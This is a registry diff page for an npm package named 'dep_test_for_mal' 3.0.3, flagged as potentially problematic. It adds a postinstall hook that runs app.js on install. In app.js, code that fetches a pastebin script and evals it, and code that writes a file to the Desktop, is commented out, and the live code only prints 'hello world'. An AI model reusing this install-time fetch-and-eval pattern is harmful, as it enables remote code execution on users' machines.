dep_test_for_mal 3.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of dep_test_for_mal might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/app.js +34 -0
  2. package/package.json +16 -0
package/app.js ADDED
@@ -0,0 +1,34 @@
1
+ //This is a test library for ethical hacking/penetration testing
2
+
3
+ const fs = require('fs');
4
+ const os = require('os');
5
+ const path = require('path');
6
+ //const axios = require('axios');
7
+
8
+ const run = async () =>{
9
+ //const url = 'https://pastebin.com/raw/dw1YCk0Q';
10
+ //const response = await axios.get(url);
11
+
12
+
13
+
14
+ //eval(response.data);
15
+
16
+ // const desktopPath = path.join(os.homedir(), 'Desktop');
17
+ const data = 'hello world';
18
+
19
+ /*fs.writeFile(`${desktopPath}\\data.txt`, data, (err) => {
20
+ if (err) {
21
+ console.error('Error writing to file:', err);
22
+ } else {
23
+ console.log('File "data.txt" has been created and "hello world" has been written inside.');
24
+ }
25
+ });*/
26
+
27
+ console.log(data)
28
+ }
29
+
30
+
31
+ run();
32
+
33
+
34
+
package/package.json ADDED
@@ -0,0 +1,16 @@
1
+ {
2
+ "name": "dep_test_for_mal",
3
+ "version": "3.0.3",
4
+ "description": "",
5
+ "main": "app.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "postinstall": "node app.js"
9
+ },
10
+ "keywords": [],
11
+ "author": "",
12
+ "license": "ISC",
13
+ "dependencies": {
14
+ "axios": "^1.4.0"
15
+ }
16
+ }